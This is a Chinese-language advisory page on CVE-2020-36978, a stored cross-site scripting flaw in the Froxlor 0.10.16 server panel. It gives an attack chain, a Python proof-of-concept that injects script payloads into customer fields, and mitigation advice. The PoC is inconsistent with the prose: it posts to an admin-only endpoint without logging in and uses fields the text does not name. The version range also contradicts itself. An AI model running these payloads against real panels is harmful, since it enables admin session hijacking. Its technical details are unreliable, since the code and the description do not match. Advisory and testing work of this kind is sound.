IPBUF安全漏洞报告
English
CVE-2020-36978 CVSS 6.4 中危

CVE-2020-36978 Froxlor服务器管理面板存储型XSS漏洞

披露日期: 2026-01-27

漏洞信息

漏洞编号
CVE-2020-36978
漏洞类型
存储型XSS(持久性跨站脚本)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Froxlor Server Management Panel

相关标签

存储型XSS跨站脚本CVE-2020-36978Froxlor服务器管理面板会话劫持Web安全PHP开源软件

漏洞概述

CVE-2020-36978是Froxlor服务器管理面板0.10.16版本中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞源于客户注册功能中的输入字段未对用户提交的数据进行充分的输入验证和输出编码。攻击者可以通过在注册表单的用户名(username)、姓名(name)和名字(firstname)等参数中注入恶意JavaScript代码。当管理员在管理后台查看客户流量模块时,这些恶意脚本会被浏览器执行,从而导致会话劫持、管理员权限获取、敏感信息窃取等严重安全风险。由于漏洞位于服务器端存储,恶意脚本会持久存在于系统中,每次有管理员访问相关模块时都会触发,具有较高的危害性和利用价值。Froxlor作为一款流行的开源服务器管理面板,被广泛应用于Web托管环境中,该漏洞的存在可能影响大量部署该系统的服务器安全。

技术细节

该存储型XSS漏洞存在于Froxlor的客户注册功能模块。攻击者构造恶意Payload时,利用注册表单中未经过滤的输入字段。当用户提交注册信息时,恶意脚本代码被直接存储到数据库中,且在输出时未进行适当的HTML实体编码或转义处理。在正常业务流程中,管理员访问客户列表或流量统计模块时,应用程序从数据库读取并展示客户信息,由于未对输出内容进行安全处理,嵌入的JavaScript代码被浏览器解析执行。攻击者可利用此漏洞窃取管理员的会话Cookie、伪造管理员操作、植入持久性后门或进行钓鱼攻击。漏洞的利用条件较低,仅需低权限用户即可在注册时注入恶意代码,且无需管理员进行任何交互操作即可实现攻击。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标服务器上运行的Froxlor版本,确认版本为0.10.16或更早版本,并定位客户注册功能入口
STEP 2
步骤2:构造恶意Payload
攻击者构造包含恶意JavaScript代码的XSS Payload,如<script>alert(document.cookie)</script>,针对username、name、firstname等输入字段
STEP 3
步骤3:提交注册请求
攻击者通过客户注册表单提交包含恶意代码的数据,Payload被存储到服务器数据库中
STEP 4
步骤4:等待管理员触发
攻击者等待管理员登录后台并访问客户流量模块或客户列表页面,此时恶意脚本被从数据库读取并执行
STEP 5
步骤5:会话劫持与数据窃取
恶意脚本执行后,攻击者成功窃取管理员的会话Cookie或执行其他恶意操作,可能导致服务器完全沦陷

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2020-36978 Stored XSS PoC # Target: Froxlor Server Management Panel 0.10.16 # Attack Vector: Customer Registration Input Fields import requests import json target_url = "http://target-server/froxlor/" # Malicious XSS payload for username, name, and firstname fields xss_payload = "<script>alert(document.cookie)</script>" # Customer registration endpoint registration_url = target_url + "admin.php?tab=customers&action=add" # Registration data with XSS payloads registration_data = { "loginname": "attacker_account", "password": "Password123!", "password_repeat": "Password123!", "email": "[email protected]", "firstname": xss_payload, "name": xss_payload, "company": xss_payload, "submit": "create" } print("[*] Sending malicious registration request...") response = requests.post(registration_url, data=registration_data) if response.status_code == 200: print("[+] XSS payload injected successfully!") print("[*] Payload will execute when admin views customer traffic module") print("[*] Payload: " + xss_payload) else: print("[-] Registration failed. Status code:", response.status_code) # Alternative: Direct API registration if available api_url = target_url + "api/v1/customers" api_headers = { "Content-Type": "application/json", "X-Api-Key": "your-api-key" } api_data = { "loginname": "attacker2", "email": "[email protected]", "firstname": "<img src=x onerror=alert(document.domain)>", "name": "<svg onload=alert(1)>", "password": "TestPass123!" } print("[*] Trying alternative API registration...") api_response = requests.post(api_url, headers=api_headers, json=api_data) print("[*] API Response:", api_response.text)

影响范围

Froxlor Server Management Panel < 0.10.16
Froxlor 0.10.16 (已知受影响)
Froxlor 0.10.x 系列 (可能受影响)

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)临时禁用客户自助注册功能,改用管理员手动创建账户;2)在Web应用防火墙(WAF)中配置XSS防护规则,拦截包含<script>标签或事件处理器属性的请求;3)对管理后台实施IP白名单访问控制,仅允许受信任的IP地址访问客户管理模块;4)监控注册日志及时发现异常注册行为;5)考虑部署独立的入侵检测系统(IDS)监控针对该漏洞的扫描和利用尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表